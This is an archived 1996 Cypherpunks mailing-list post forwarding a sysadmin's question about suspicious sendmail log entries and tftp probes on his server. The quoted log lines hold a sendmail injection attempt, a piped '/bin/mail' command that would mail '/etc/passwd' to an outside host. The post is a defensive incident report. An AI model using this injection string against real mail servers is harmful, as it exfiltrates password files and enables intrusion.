[52733] in Cypherpunks

home help back first fref pref prev next nref lref last post

Black Unicorn attempts computer break in

daemon@ATHENA.MIT.EDU (Anonymous)
Wed Mar 27 05:21:46 1996

Date: Wed, 27 Mar 1996 10:45:12 +0100
To: cypherpunks@toad.com
From: anon-remailer@utopia.hacktic.nl (Anonymous)

Date:         Wed, 27 Mar 1996 16:58:14 +1100
Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
Subject:      Strange things afoot at my SMTP port...
To: Multiple recipients of list SERVER-LINUX
              <SERVER-LINUX@NETSPACE.ORG>

I just found these while going through my messages file... do I
have any need to be concerned???
(unicorn.it.wsu.edu is now in my /etc/hosts.deny...)

Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
received from unicorn.it.wsu.edu [1
Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
nrcpts=0, proto=SMTP, relay=uni

There were also attempts at connecting to my tftp port, although
at the time, in.tftpd wasn't on the system (it is now, and is also
in my hosts.deny to all except for local)

Thanks...


                      Interspace Australia Pty Ltd
                   Steve Gibson - System Administrator
                       <steve@interspace.com.au>




home help back first fref pref prev next nref lref last post